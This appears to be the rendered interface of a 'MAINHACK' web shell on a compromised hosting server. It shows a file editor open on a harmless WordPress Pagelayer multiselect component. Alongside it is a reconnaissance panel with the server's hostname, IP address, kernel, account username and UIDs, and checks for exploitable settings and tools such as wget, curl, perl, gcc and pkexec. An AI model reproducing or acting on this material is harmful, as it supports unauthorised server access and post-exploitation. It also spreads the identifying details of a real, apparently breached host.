[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: multiselect.js
File is not writable. Editing disabled.
import { useState, useEffect } from '@wordpress/element'; import { LabelControl } from './label'; export const MultiSelectControl = (props) => { const { prop, label, value, setAttributes } = props; const { name } = prop['c']; var selection = pagelayer_empty(value) ? [] : value; if(pagelayer_is_string(selection)){ selection = selection.split(','); } const [isSelectorOpen, setIsSelectorOpen] = useState(false); const option = (val, lang) => { const itemSelected = selection.includes(val) ? 'selected' : ''; return ( <li className="pagelayer-elp-multiselect-option" data-val={val} data-selected={itemSelected} onClick={ () => handleOptionClick(val)} >{ lang }</li> ); }; const showSelected = () => { return selection.map((value) => ( <span className="pagelayer-elp-multiselect-selected" data-val={value}> {prop['list'][value]}{' '} <span className="pagelayer-elp-multiselect-remove" onClick={() => handleRemove(value)}> x </span> </span> )); }; const handleRemove = (value) => { const updatedSelection = selection.filter((val) => val !== value); setAttributes({[name]: updatedSelection.join(',') }); }; const handleOptionClick = (val) => { if (selection.includes(val)) { const updatedSelection = selection.filter((value) => value !== val); setAttributes({[name]: updatedSelection.join(',') }); } else { const updatedSelection = [...selection, val]; setAttributes({[name]: updatedSelection.join(',')}); } }; return ( <div className="components-base-control pagelayer-base-control"> <LabelControl {...props}/> <div className="pagelayer-elp-multiselect-div pagelayer-elp-pos-rel"> <div className="pagelayer-elp-multiselect" onClick={ () => setIsSelectorOpen(!isSelectorOpen) } >{showSelected()}</div> { isSelectorOpen && ( <ul className={`pagelayer-elp-multiselect-ul ${isSelectorOpen ? 'open' : ''}`} name={name}> {Object.keys(prop['list']).map((key) => option(key, prop['list'][key]))} </ul> )} </div> </div> ); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server306.web-hosting.com
Server IP: 192.64.117.220
PHP Version: 8.2.31
Server Software: LiteSpeed
System: Linux server306.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 138.28 GB
HDD Free: 102.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: awodbsau
User ID (UID): 4522
Group ID (GID): 4521
Script Owner UID: 4522
Current Dir Owner: N/A